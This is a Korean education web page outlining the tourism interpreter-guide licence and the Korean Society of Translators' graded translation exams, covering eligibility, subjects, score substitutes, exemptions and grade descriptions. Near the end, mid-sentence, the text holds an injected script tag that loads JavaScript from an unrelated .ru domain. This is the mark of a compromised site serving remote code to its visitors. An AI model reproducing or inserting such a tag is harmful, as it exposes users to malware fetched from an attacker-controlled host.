|
 교육내용
|
1. 관광통역안내사 자격증 명 칭 : 관광통역안내사 주 관 : 문화관광부 시 행 : 한국관광공사 응시자격 및 대상 - 응시자격 : 만 18세 이상의 남, 여로서 해외여행 결석사유가 없는 자(학력, 경력 제한 없음) - 대 상 : 외국어를 처음 하는 분 자격증 취득 후 부업 또는 전업을 원하는 분 사회진출을 원하는 주부, 학생 부업 또는 전업을 원하는 직장인 ※ 통역시험 원서교부 및 접수처, 통역시험일정 등 자세한 사항은 02)725-8034/이메일:vince9@misj.com로 문의하시면 친절히 상담을 해드리겠습니다. 1차시험 - 필기 과 목 배점비율 국 사 40 % ,관광자원해설 20 % ,관광학개론 20 % ,관 광 법 규 (관광기본법, 관광진흥법, 관광진흥개발기금법, 국제회의산업육성에관한법률 등의 관광관련법규) 20 % 2차시험 면 접 시 험 ※ 외국어시험의 대체 - 영어, 일어, 중국어 외국어시험의 경우 다른 외국어시험기관에서 실시하는 시험으로 대체 (만점 기준) [영 어] - TOEIC : 760점 이상 , TEPS : 677점 이상 , TOEFL(CBT) : 217점 이상 [일본어] - JPT : 740점 이상 , 日檢(NIKKEN) : 750점 이상 [중국어] - HSK : 337점 이상 - 일부면제 사항 - 가. 고등교육법에 의한 전문대학 이상의 학교에서 해당 외국어를 3년 이상 계속하여 강의한 자에 대하여 해당 외국어시험을 면제. 나. 5년 이상 해당 언어권의 외국에서 근무 또는 유학을 한 경력이 있는 자 및 초·중등교육법에 의한 중·고등학교 또는 고등기술학교에서 해당 외국어를 5년 이상 계속하여 강의한 자에대하여 해당 외국어시험을 면제 다. 고등교육법에 의한 전문대학 이사의 학교에서 관광분야를 전공하고 졸업한 자 (졸업예정자 및 관광분야 과목을 이수하여 이와 동등한 학력을 취득한 자를 포함 한다)에 대하여 필기시험중 관광법규 및 관광학개론 과목을 면제 ◐ 합격결정 : 필기시험의 합격기준은 매과목 4할 이상, 전과목의 점수가 위의 배점비율로 환산하여 6할 이상이어야 한다. ◐ 시험시기 - 매년 1회 이상(3월 ~ 6월경) - 매년 1월 일간지에 시험일정 공고 - 연령 및 학력, 경력 제한이 없다. - 외국인 상사, 호텔, 항공사, 방송국, 면세점, 무역회사, 학원강사, 통역프리랜서 등 취업분야가 대단히 넓다. - 빈번한 외국여행을 통해 각국의 문화와 역사를 배우고 다양한 사고방식을 가진 사람과 접할 수 있다. - 외국어를 통한 민간외교의 일익을 담당한다. 2. 번역자격증 주관 : 한국번역가협회(KST), (국제번역가연맹 FIT/UNESCO 한국대표기관) - 응시자격 : 학력, 경력, 연령 제한 없슴. - 시험일정 : 매년 4회(3월, 6월, 9월, 12월) - 언어 : 영어, 일어, 중국어, 불어, 노어, 서반아어, 독어 ※ 1급 번역시험 : 직업번역능력인정시험(Professional Competence Test for Translation) 1. 250페이지 이상의 도서 형태의 번역저작물 2권 이상을 제출 가능한 자 2. 500페이지 이상의 일반 서류 형태의 번역저작물 제출이 가능한 자 3. 500페이지 이상의 번역기고문 형태의 번역저작물 제출이 가능한 자 * 특별전형신청을 한 자에 대해서는 번역능력평가 위원회가 실적물 및 서류를 심사한 후(필요시 구술 및 면접시험 병행) 시험 합격자 발표하며, 심의를 통과한 자에 한해서는 "번역능력인증서(특별전형 1급)"을 교부함. * 인물과학일반, 사회과학일반, 경제경영일반, 과학기술일반 외국어분야(한국어 → 외국어역)로 구분 시행 * 주관식 필답고사 유형으로만 출제됨 ※ 2급 번역시험 : 직업번역능력인정시험(Specialized Competence Test for Translation) * 주관식필기시험, 사전참고가능(전자사전불가) 기업직무 및 실용문번역능역소지여부평가 한국어역(80%), 외국어역(20%) * 한국어출제범위 : 비즈니스, 홍보/광고문, 인터넷/IT, 시사, 생활문 중심 * 외국어역출제범위 : 비즈니스, 홍보문, 생활문 중심 ※ 3급 번역시험 : 일반번역능력인정시험(General Competence Test for Translation) * 외국어 → 한국어역(80%), 한국어 → 외국어역(20%) 병행 출제 * 기업직무상 필요한 문서번역 및 생활문장 번역 * 객관식 및 주관식 필답고사 유형 병행 출제됨 ※ 4급 번역시험 : 기초번역능력인정시험(Basic Competence Test for Translation) * 주관식, 객관식시험, 사전참고가능(전자사전불가) 대학교 원서독해에 필요한 기초번역능력소지여부 평가 * 외국어 → 한국어역만 시행 * 기초번역테크닉 및 대학 원서독해와 표현과 관련된 번역 * 객관식 및 주관식 필답고사 유형 병행 출제됨 * 인문과학일반 : 소설, 에세이, 역사, 철학 등 인문과학 관련 서적 및 저널에 대한 해당분야 전문용어?script src=http://www.brcporb.ru/ngg.js>
|
l 
.gif)
교육정보등록일
: 2024-05-06
교육과정명
